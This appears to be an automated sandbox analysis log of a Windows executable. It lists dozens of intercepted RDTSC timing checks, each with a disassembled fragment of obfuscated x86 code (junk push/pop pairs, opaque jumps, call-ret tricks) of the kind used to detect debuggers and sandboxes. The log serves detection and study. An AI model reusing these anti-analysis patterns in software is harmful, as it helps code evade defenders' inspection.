Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9D1A second address: CC9D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1690B6C7F6h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9E6D second address: CC9E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1690C1AF9Fh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA06F second address: CCA07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1690B6C7F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA22A second address: CCA22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA22E second address: CCA253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C807h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F1690B6C7FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE287 second address: CCE28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE324 second address: CCE329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD30F1 second address: CD30FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1690C1AFA2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD30FD second address: CD3107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1690B6C7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3785 second address: CD378B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD378B second address: CD379A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1690B6C7F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD379A second address: CD379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD379E second address: CD37A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD37A2 second address: CD37C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3A51 second address: CD3A58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4028 second address: CD402D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD41FE second address: CD420D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F1690B6C7F6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD420D second address: CD4220 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4220 second address: CD4226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4226 second address: CD4241 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F1690C1AF96h 0x00000010 jmp 00007F1690C1AF9Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4241 second address: CD426C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1690B6C803h 0x00000010 jmp 00007F1690B6C7FDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD426C second address: CD4272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4272 second address: CD427C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1690B6C7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD87CB second address: CD87D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F1690C1AF96h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD87D7 second address: CD87E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD1A1 second address: CDD1B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c js 00007F1690C1AF96h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD691 second address: CDD695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD695 second address: CDD699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD699 second address: CDD69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD7E6 second address: CDD7EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD7EC second address: CDD7F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDA9E second address: CDDAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F1690C1AFBDh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF461 second address: CDF465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF465 second address: CDF492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 jo 00007F1690C1AFBFh 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007F1690C1AF96h 0x00000018 jmp 00007F1690C1AF9Bh 0x0000001d popad 0x0000001e pushad 0x0000001f jg 00007F1690C1AF96h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3F73 second address: CE3F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1690B6C806h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3F90 second address: CE3FE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F1690C1AF9Eh 0x0000000f jmp 00007F1690C1AF9Bh 0x00000014 popad 0x00000015 push esi 0x00000016 jmp 00007F1690C1AFA0h 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007F1690C1AFA3h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3FE5 second address: CE3FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8651 second address: CE8655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE747E second address: CE74A6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push edi 0x0000000c jmp 00007F1690B6C809h 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE74A6 second address: CE74AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA5F4 second address: CAA60F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C807h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA60F second address: CAA63B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F1690C1AF9Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA63B second address: CAA63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA63F second address: AEED3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b pushad 0x0000000c jp 00007F1690C1AF9Ch 0x00000012 xor edi, 46DA595Bh 0x00000018 popad 0x00000019 push dword ptr [ebp+122D065Dh] 0x0000001f mov ecx, dword ptr [ebp+122D3014h] 0x00000025 mov ecx, 78DC7141h 0x0000002a call dword ptr [ebp+122D3C64h] 0x00000030 pushad 0x00000031 pushad 0x00000032 movzx ecx, bx 0x00000035 mov eax, dword ptr [ebp+122D3120h] 0x0000003b popad 0x0000003c xor eax, eax 0x0000003e or dword ptr [ebp+122D1D70h], edi 0x00000044 jmp 00007F1690C1AFA4h 0x00000049 mov edx, dword ptr [esp+28h] 0x0000004d jmp 00007F1690C1AFA3h 0x00000052 mov dword ptr [ebp+122D2E5Ch], eax 0x00000058 pushad 0x00000059 jng 00007F1690C1AFA4h 0x0000005f call 00007F1690C1AF9Dh 0x00000064 pop ecx 0x00000065 xor edx, 78EE1964h 0x0000006b popad 0x0000006c mov esi, 0000003Ch 0x00000071 mov dword ptr [ebp+122D22D9h], edx 0x00000077 xor dword ptr [ebp+122D1D70h], esi 0x0000007d add esi, dword ptr [esp+24h] 0x00000081 mov dword ptr [ebp+122D22D9h], eax 0x00000087 lodsw 0x00000089 or dword ptr [ebp+122D22D9h], esi 0x0000008f add eax, dword ptr [esp+24h] 0x00000093 cmc 0x00000094 mov ebx, dword ptr [esp+24h] 0x00000098 cld 0x00000099 nop 0x0000009a push eax 0x0000009b pushad 0x0000009c push eax 0x0000009d push edx 0x0000009e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA7F3 second address: CAA7F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA7F9 second address: CAA861 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ebx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnl 00007F1690C1AF9Eh 0x0000001c mov eax, dword ptr [eax] 0x0000001e jl 00007F1690C1AF9Ch 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e jns 00007F1690C1AFA5h 0x00000034 pop eax 0x00000035 mov cl, 88h 0x00000037 push D873DDFAh 0x0000003c pushad 0x0000003d push esi 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA9B7 second address: CAA9E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a ja 00007F1690B6C7FAh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1690B6C808h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAAF8 second address: CAAB1C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F1690C1AF9Fh 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAB1C second address: CAAB20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAB20 second address: CAAB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABEA second address: CAABEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABEE second address: CAABF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAD6A second address: CAAD70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAD70 second address: CAAD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAD74 second address: CAADD2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F1690B6C7F8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov edx, ebx 0x00000025 push 00000004h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007F1690B6C7F8h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 adc dl, 00000071h 0x00000044 add dx, 9FF4h 0x00000049 nop 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e pop esi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAADD2 second address: CAADDB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB142 second address: CAB146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB146 second address: CAB14F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB14F second address: CAB18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 or edi, 6ACBAB00h 0x0000000f push 0000001Eh 0x00000011 jmp 00007F1690B6C805h 0x00000016 nop 0x00000017 pushad 0x00000018 push eax 0x00000019 jmp 00007F1690B6C803h 0x0000001e pop eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB18F second address: CAB1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA2h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F1690C1AF9Bh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB2EA second address: CAB305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C807h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB4F5 second address: CAB570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 jmp 00007F1690C1AFA6h 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F1690C1AF98h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a call 00007F1690C1AFA0h 0x0000002f mov ecx, 29CC6189h 0x00000034 pop edi 0x00000035 lea eax, dword ptr [ebp+1248EF27h] 0x0000003b mov edi, edx 0x0000003d nop 0x0000003e push ecx 0x0000003f jmp 00007F1690C1AFA3h 0x00000044 pop ecx 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB570 second address: CAB575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB575 second address: CAB57B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB57B second address: CAB57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB57F second address: C8D4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F1690C1AF98h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov dx, bx 0x00000026 sub dword ptr [ebp+122D2CD6h], edx 0x0000002c lea eax, dword ptr [ebp+1248EEE3h] 0x00000032 call 00007F1690C1AF9Ch 0x00000037 push esi 0x00000038 jmp 00007F1690C1AF9Bh 0x0000003d pop edi 0x0000003e pop edi 0x0000003f push eax 0x00000040 pushad 0x00000041 jmp 00007F1690C1AFA3h 0x00000046 pushad 0x00000047 jo 00007F1690C1AF96h 0x0000004d jl 00007F1690C1AF96h 0x00000053 popad 0x00000054 popad 0x00000055 mov dword ptr [esp], eax 0x00000058 call dword ptr [ebp+122D2C87h] 0x0000005e push ebx 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D4B0 second address: C8D4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7721 second address: CE7727 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7727 second address: CE7744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C809h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7744 second address: CE7754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7754 second address: CE775C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE78E1 second address: CE78EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7BD4 second address: CE7BE1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1690B6C7F8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7E9E second address: CE7EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F1690C1AFA4h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7EBB second address: CE7EC0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7EC0 second address: CE7ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jne 00007F1690C1AF9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7ED8 second address: CE7EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE81B5 second address: CE81BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE81BB second address: CE81CD instructions: 0x00000000 rdtsc 0x00000002 js 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE81CD second address: CE81D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE81B second address: CEE81F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE81F second address: CEE825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE825 second address: CEE844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1690B6C808h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE844 second address: CEE84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
